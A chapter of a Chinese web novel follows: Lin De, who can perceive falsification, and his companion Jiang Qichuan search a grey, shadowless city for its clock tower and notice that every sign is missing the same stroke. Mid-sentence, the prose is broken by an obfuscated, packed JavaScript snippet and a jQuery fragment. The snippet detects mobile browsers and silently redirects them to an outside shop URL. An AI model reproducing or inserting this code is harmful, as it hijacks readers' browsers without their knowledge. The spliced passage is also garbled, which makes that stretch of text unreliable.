“嗖”
一道黑影闪过,似是乘着风向远方飞行,又好像刻意在提醒林德。
溯回者,回溯真实,唯一可以剥离虚假幻境、回溯碎片真实、识破一切伪造痕迹的人。
他的能力是本能,对所有篡改过的事物有绝对感知,任何虚假线索、伪造记忆、规则漏洞,在他眼中都会浮现裂痕。
林德无法控制,这个副本太针对他的能力了,他一抬眼便是所有消失重现,一抬眼便是真实,他要骗过江岐川,要骗过自己,要克制住自己身体的无限虚弱。
为什么……这次是组队任务……
虚弱在蔓延,林德的视线逐渐模糊。
不如就这样就在这里吧,在到处都是虚假的世界里,在如同家禽被圈养的麻木的人群里,真实,有用吗?
等林德再睁眼时,红日当空,哀嚎遍地,母亲正拉着他逃窜。
漫无目的又高强度的奔跑,让中年的母亲很快体力不支,倒在了堆积的碎石边,林德愣在原地,短时间内失去哥哥和母亲,尽数打击着林德8岁的心理防线。
“你快走……”
母亲意识消散前,林德听到了这么一句话,浑身已经麻木了,他也不知道是什么支撑着自己继续向前奔跑。
跑到大地的边缘,冲破天际,无尽的黑暗,世界瞬间安静,林德不知道自己是否还活着,只知道小小的身躯早已超负荷,累倒在了黑暗中。
“林德!”
在……喊我吗……
林德缓缓睁开眼,周围依旧是空白一片,他还在副本里,他早已脱离末世,他还活着。
“你怎么突然晕倒了?”
映入眼帘的是江岐川满是焦急的面庞。
“可能,太累了吧。”
林德手肘撑地,站了起来,脸上依旧看不出任何情绪,眼底还是熟悉的那一抹冷漠。
“咱们得去钟楼看看。”
即便林德明白钟楼肯定潜藏着未知的危险,但钟楼无疑是副本的关键,一直在外围耗着不是个办法,迟早要被同化。
江岐川对于林德无条件信任,他需要做的好像就只有跟随。
“对了,刚刚那个黑影……”
“不必理会。”
林德仿佛知道江岐川要说的话,提前打断。
“林德,你知道你像什么吗?”
林德没有理会江岐川,江岐川也没有点到为止的意思。
“你像一只看似成熟严肃实则内心深处柔软但又很倔强的猫。”
林德愣在了原地,不过并不是因为江岐川的话。江岐川侧身顺着林德的目光看去,只见前方有一个长得跟林德颇为相像的人。
“看见没,我就说你长得帅吧,NPC都会模仿你了。”
林德没有回话,愣了许久,然后自顾自地朝那人走去,着了魔一般。
“林德?”
江岐川赶忙跟上,二人很快来到“假林德”面前。
“时间没走,是我们被偷走了。”
和刚才一样,“假林德”依旧是说了一句不着边际的话,然后就在林德手要触碰到虚影时消失了。林德的手停在半空。
“你还好吗?”
林德知道江岐川已经看不见面前人了,可他仍然不愿意放下手,好像有一种无名的执着牵制着他。
江岐川见林德没有要理他的意思,索性就在周围兜圈子,百无聊赖地等待林德缓过来劲。
“什么品种?”
林德冷不丁的一句,让江岐川摸不着头脑。
“什么?”
林德放下手,转身看向江岐川,眼底尽是平静。
“你说我像猫,什么品种?”
所以,刚刚那句话,林德听的清清楚楚?
“呃,为什么要在意这个?”
林德垂眸,脚步不停,继续向钟楼方向走去,沉默良久,才道:“曾经有一个人,也说我像
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17946170|214074||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
猫,只是那时候,我什么也不懂。”
“他觉得你是什么品种的猫?”
“狸花。”
江岐川笑了笑。
“嗯,很像。”
等林德反应过来的时候,脸上已经染上了一层红晕。
“等等,我为什么要跟他聊这个。”
林德小声嘀咕,江岐川并没有听清,但他也不在意,因为他已经敏锐地捕捉到林德悄然渐红的耳根。
林德走神之际,江岐川已经快步赶上,走到了林德前面,他很喜欢领头的快感。
林德跟在他半步之后,目光却落在他脚下——没有影子。整座城市都没有影子,唯独江岐川,连行走的轨迹都干净得不像活人。
“你在看什么?”江岐川没回头。
“看路。”林德答得坦然,话锋却轻轻一转,“你好像知道该往哪走。”
“直觉。”
“你的直觉,精确得像背过地图。”
江岐川脚步未停:“副本待久了,自然熟。”
林德没有追问,只是把这句话记下来——档案里,江岐川是第一次进入空白纪年。一个第一次入副本的人,为什么会用“待久了”这样的措辞?
越往深处走,灰雾越浓,店铺橱窗里的商品整齐陈列,覆着一层细尘般的灰,仿佛自摆上货架起就再无人触碰。所有招牌的字依旧都缺一笔,像被谁刻意刮去。
“招牌的字,全缺一笔。”林德忽然开口,即使之前已经提到过,但他们好像并没仔细探讨。
“残缺美。”江岐川答得敷衍。
“是同一个笔画。”林德停步,指着一处刮痕,“商铺、路牌、门牌,每家店缺的,都是同一个笔画。”
江岐川的步子顿了片刻,极短,几乎不可察觉。
“你想说什么?”
“有人擦过这个世界。”林德抬眼,望向远处横亘楼宇的灰线,“擦得很仔细,但擦漏了一笔。”